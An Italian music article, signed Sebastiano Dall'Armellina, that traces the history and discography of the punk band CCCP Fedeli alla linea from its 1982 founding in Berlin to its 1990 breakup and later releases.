CCCP Fedeli alla linea: l’audacia del Punk filo-sovietico e della musica melodica emiliana

CCCP Fedeli alla linea: l’audacia del Punk filo-sovietico e della musica melodica emiliana

CCCP Fedeli alla linea sono stati uno dei gruppi Punk italiani più importanti, fra i pionieri assoluti del genere in terra tricolore nonché fra i pochi ad aver varcato i confini nazionali e ad aver conquistato l’Europa. La band nacque in quel di Berlino, all’epoca divisa in due dal tristemente noto muro, il quale divise la città per decenni, rappresentando la situazione politica della Germania post seconda guerra mondiale. Nell’82, dopo una breve esperienza musicale, dalle ceneri dei MitropaNK i due “guru” del complesso, rispettivamente Giovanni Lindo Ferretti (nelle vesti di cantante e paroliere) e Massimo Zamboni (nelle vesti di chitarrista) formano i CCCP, affiancati successivamente da altri membri sia “scritturati” come comparse per spettacoli caratteristici e coreografie (Annarella Giudici e Danilo Fatur), sia ingaggiati come musicisti effettivi (è il caso di Umberto Negri, bassista: quest’ultimo rimarrà nel gruppo emiliano fino al 1985). La band, nota oltre che per la sua musica anche per i suoi orientamenti politici (spesso ribaditi nei testi delle loro canzoni o dalle loro interviste) e per l’immagine che si era costruita attorno a sé, ebbe una carriera breve visto che alla fine del 1990, dopo l’uscita del quarto album in studio, si sciolse. Dal punto di vista musicale il gruppo emiliano riuscì a far proprio il Punk Rock e a dargli una forte identità “emiliana” prima che italiana; oltre a ciò, è da considerare una certa svolta stilistica avvenuta con gli ultimi due lavori in studio, i quali si allontanarono in maniera prepotente dal Punk grezzo e sgraziato proposto in precedenza, sfoggiando un sound particolarissimo, che esercitò un certo ascendente sul panorama alternativo italiano sia contemporaneo sia postumo.

GENERE:
Punk Rock
Post Punk
Alternative Rock

Anno di formazione:
1982 – 1990

La band come detto poc’anzi si formò a Berlino, nascendo dalle ceneri di un precedente progetto musicale durato circa un anno e solo durante i primi mesi avrà un batterista “fisico”, poi sostituito da una Drum Machine fino al 1986, che sarà uno degli elementi più caratteristici dei CCCP.
Nel 1984, dopo vari concerti ed avvicendamenti dei musicisti affiancati al duo fondatore, esce il primo lavoro della band, l’Ep “Ortodossia” che con le sue tre tracce mette su cassetta il prototipo del “CCCP-sound” della prima era; con il suo Punk fortemente grezzo, avente un Ferretti che si trova a suo agio nell’urlare gli inni di stampo fortemente filo-sovietici (“Live in Pankow”, “Spara Jurij”) ed un Zamboni che dà al tutto un apporto ancora più ruvido grazie alla sua chitarra. Degno di nota, però, l’episodio finale dell’EP, “Punk Islam” – una marcia di stampo panarabo dai toni estremamente provocatori e dissacranti – la quale compie un piccolo excursus in campo smaccatamente “alternative”, andando dipingere melodie mediorientali sotto un’ottica squisitamente Punk. L’EP venne pubblicato dalla Attack Punk Records.

Dopo questo primo banco di prova, la band pubblica un successivo lavoro, intitolato “Ortodossia II” (sempre per la Attack Punk Records) nel quale sono presenti i tre brani del precedente “Ortodossia” più l’inedita “Mi Ami?”. Il 1985, come leggeremo poco più avanti, sarà un anno molto prolifico per il gruppo, l’anno della consacrazione, l’anno in cui i CCCP arrivarono definitivamente al successo, divenendo una vera e propria bandiera della musica alternativa tricolore.

Come detto, i CCCP sono molto attivi nell’85 e dopo aver ristampato il primo lavoro ecco che esce il secondo (o terzo, che dir si voglia) EP, dal titolo “Compagni, cittadini, fratelli, partigiani”. Nel quale la band non si distacca affatto dalla formula tipica di quanto già fatto in precedenza, anche se vi è da rimarcare la presenza di ritmiche più lente e ritmate, oltre ad una maggiore varietà a livello lirico che in parte si distacca da quanto fatto l’anno prima, per andare a toccare temi più vicini alla gente della loro terra e alla realtà Punk emiliana. Tutte le pubblicazioni fino ad ora rilasciate hanno la caratteristica comune d’essere ancora molto caserecce e un po’ acerbe, rispetto a quello che i nostri ci daranno in futuro, visti gli scarsi mezzi economici allora a disposizione. Caratteristica, comunque, tipica di innumerevoli lavori Punk (dall’Oi! All’Hardcore) a livello mondiale.
I vari Ep sino ad ora rilasciati verranno successivamente – nel 1988 – riuniti nella raccolta “Compagni, cittadini, fratelli, partigiani / Ortodossia II“, nella quale vi è un sunto di quanto fatto prima del loro esordio ufficiale (per dovere di cronaca, con la ristampa della raccolta, il titolo e la tracklist verranno invertite; per chi fosse interessato ad un suo eventuale acquisto).

Dopo tutta questa gavetta viene licenziato, sempre nel 1985 e sempre tramite Attack Punk Records il primo Full Lenght dei Nostri, dal titolo chilometrico: “1964-1985 Affinità-divergenze fra il compagno Togliatti e noi – Del conseguimento della maggiore età”, considerato all’unanimità uno dei dischi più importanti del panorama Rock italiano. Con questo lavoro la band attua nel suo piccolo la propria definitiva rivoluzione musicale, miscelando senza soluzione di continuità il Punk (filo-sovietico, come da titolo dell’articolo) con la musica popolare emiliana (“Valium Tavor Serenase”, esempio lampante di ciò) dando alle stampe un mix assolutamente unico e sorprendente sia all’epoca che ancora oggi, ai giorni nostri. Il lavoro si guadagna, giustamente, una grande quantità di lodi tra la critica e diventa così una pietra miliare del panorama Punk italiano. In questo disco trovano spazio sia alcuni dei pezzi realizzati in precedenza, sia degli inediti; e tra i ritmi lenti ed ossessivi di una “Emilia Paranoica”(Remiscelata), all’apatia di “Io sto bene” si giunge allo xilofono destabilizzante (e pure molto catchy) di “Curami”, per giungere all’Hardcore selvaggio di Valium Tavor Serenase all’interno della quale vi è nella parte centrale un bellissimo liscio squisitamente romagnolo, che destabilizza ancora di più il tutto. Molte di queste sono soluzioni personali ed inedite all’interno del panorama Punk mondiale, e tutto ciò, unito ai vari cambi di tempo di certi pezzi, ad una certa distanza sonora dal movimento Punk del ’77, alla violenza e all’oscurità di certi episodi oltre a dei testi vicini ad un certo tipo di cantautorato italiano, donano all’album un’importanza non indifferente ed uno stile in ultima analisi tremendamente unico e personale.

Dopo un paio di anni di distanza, il sestetto con a capo Ferretti e Zamboni si spinse oltre andando a realizzare lo spettacolo teatrale “Allerghia. Atto unico di confusione umana” ed il secondo album in studio: Socialismo e barbarie, che vista la partnership con la major Virgin Records porterà al gruppo un certo numero di critiche da parte dei fans più intransigenti. La proposta musicale subisce una notevole evoluzione, grazie ad una forte e marcata influenza New Wave in diversi episodi del disco, la quale denota uno stile rinnovato. Accanto alla New Wave, la band si addentra di più in sonorità e paesaggi mediorientali nel trittico Hong Kong / Sura / Radio Kabul, un canto di musica sacra per organo in Libera me domine, una originale cover dell’Inno dell’USSR nell’opener A ja ljublju SSSR, una New Wave fortemente sovietizzata, mentre con la popolare Inch’Allah ça va si ritorna su andamenti mediorientali ma con testo in francese. In mezzo a tutto questo guazzabuglio di soluzioni trova pure spazio un episodio dai tratti Noise Rock nella caotica Stati di agitazione, e pezzi smaccatamente Punk Rock che trovano spazio nella prima metà del lavoro preso in esame.

La successiva ristampa del disco avvenuta l’anno successivo aggiungerà al tutto il singolo “Oh! Battagliero / Guerra e pace“, nel quale il primo pezzo consiste in una cover di un pezzo partigiano dai tratti fortemente folkloristici, mentre nel secondo (ed ultimo) brano troviamo un’originale ed audace unione tra il Punk ed il Valzer, andando tutto ciò a dare un’ulteriore spinta qualitativa a Socialismo e barbarie. Con questo episodio si concluderà la fase tipicamente Punk dei CCCP.

Per il terzo disco dei Nostri bisognerà attendere altri due anni e nel 1989 uscirà Canzoni preghiere danze del II millennio – Sezione Europa, che per diversi aspetti cambia totalmente le carte in tavola in casa CCCP. Con questo lavoro il Punk dei primi album viene totalmente eliminato in favore di un sound molto più vicino alla New Wave pesantemente influenzata dall’alternative rock e specialmente dal Synth Pop. La svolta sfortunatamente non è delle migliori e a parte i fortunati episodi orientali (nell’ordine: “La qualità della  danza”, “E’ vero” e “Palestina”), “la religiosa Madre” e al fortunato singolo “And the radio plays” il disco si va ad inabissare nel mare della mediocrità con episodi inutili (Vota FATUR), frecciatine futili ai propri detrattori (Fedele alla lira?) ed un sound piatto e raffazzonato, pieno di sovra incisioni che non danno nulla al contesto, con chitarre smorzate in favore delle tastiere che ora hanno un ruolo di primo piano in tutte le canzoni. Per fortuna, come detto poc’anzi, non tutto è da buttare e gli episodi che in parte salvano il lavoro denotano idee interessanti, sfruttate anche abbastanza bene. Da dire poi che pure a livello tematico c’è una grossa svolta: infatti, si passa dall’ortodossia socialista ad un’ortodossia di stampo cattolica (ed essa troverà molto più spazio nei progetti post CCCP, ovvero i CSI ed i PGR, oltre al successivo progetto solista di Giovanni Lindo Ferretti). Purtroppo questo è stato il primo – ed ultimo – passo falso del gruppo, che però nel giro di un anno rilascerà un convincente canto del cigno.

E si giunge così all’ultimo anno di attività del gruppo: nel ’90 l’ultima incarnazione della band sarà rappresentata dal nuovo asse tosco-emiliano. L’asse si forma per via di alcune divergenze di natura artistiche nate all’interno dei Litfiba, le quali portano Gianni MaroccoloFrancesco MagnelliRingo De Palma e Giorgio Canali a lasciare il gruppo fiorentino per andare a confluire nei CCCP. Da questo fatto e con la formazione allargata a otto membri, la band rinnovò pesantemente il sound e se da un lato riprese per certi versi lo stile del precedente capitolo discografico, dall’altra ci si spostò sempre di più verso lidi Alternative Rock marcatamente Folkloristici, con uso costante della musica etnica in vari episodi, ridando una seconda giovinezza artistica ai CCCP nella loro ultima fase di vita. Le canzoni si fanno mediamente più lunghe che in passato, andando a toccare durate elevate che fino a poco tempo prima erano inimmaginabili, oltre ad essere più complesse, melodiche e aventi un suono molto più stratificato. Nei quattro temi di Epica Etica Etnica Pathos vi è spesso una leggera vena malinconica e nostalgica che ben si sposa con le scelte fatte in sede di registrazione, tra melodie campestri o rurali intervallate da momenti dolci a qualche piccola sferzata dai toni Noise che dà quel piccolo tocco di grezzo il quale caratterizza il lavoro in questione; se questo è l’ultimo nato di casa CCCP è da qui che nascerà lo stile (sia come liriche che come sound) del gruppo che gli succederà, i CSI che in pratica si erano già formati sotto “falso nome”. Ed è dunque con questo lavoro, molto distante da quanto fatto dai Nostri fino a poco tempo prima. Comunque, un canto del cigno interessante e degno di questo nome.

Oltre a quanto fatto in studio dai CCCP, è bene menzionare anche i lavori usciti postumi, colmi di materiale da non trascurare. Il primo per il quale vale la pena spendere un paio di righe è la raccolta “Ecco i miei gioielli”, che a conti fatti può essere considerata un riassunto di quanto fatto negli otto anni di attività del gruppo. Sono presenti le canzoni più famose della band, oltre a qualche chicca: in questo senso, questa raccolta del ’92 può essere un ottimo punto di partenza per scoprire la band emiliana.
Il secondo lavoro invece è un live uscito nel 1996 dal titolo “Live in Pankow“, nel quale i CCCP riesumano alcune loro perfomance live lasciate intatte e aventi una qualità di registrazione discutibile per gli ascoltatori più esigenti (e ben lontana dalle registrazioni pulite realizzate tra l’87 ed il ’90). Grazie a questo tratto così grezzo, paradossalmente il live risulta decisamente valido, grazie ad una genuinità e ad una ferocia tutta tipicamente Punk, lasciata inalterata. Una piccola perla che gli amanti del Punk degli anni ’80 devono sicuramente tenere d’occhio, oltre alla definitiva testimonianza di quanto i nostri si trovassero definitivamente a loro agio dal vivo, tra filastrocche storpiate, introduzioni narrate, scenette irriverenti ed inni militanti; il tutto rinchiuso nel loro Punk filo-sovietico.
Infine, se questo articolo vi ha messo curiosità nei loro confronti e sono riuscito nell’impresa di posizionare definitivamente la proverbiale pulce all’interno del vostro orecchio, è pure consigliabile, per capire meglio spirito e pensiero della formazione emiliana, la visione del documentario “Tempi Moderni. CCCP – Fedeli alla linea” del 1989; facilmente visionabile su youtube o a volte inserito nella programmazione di Rai 5.
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Sebastiano Dall'Armellina

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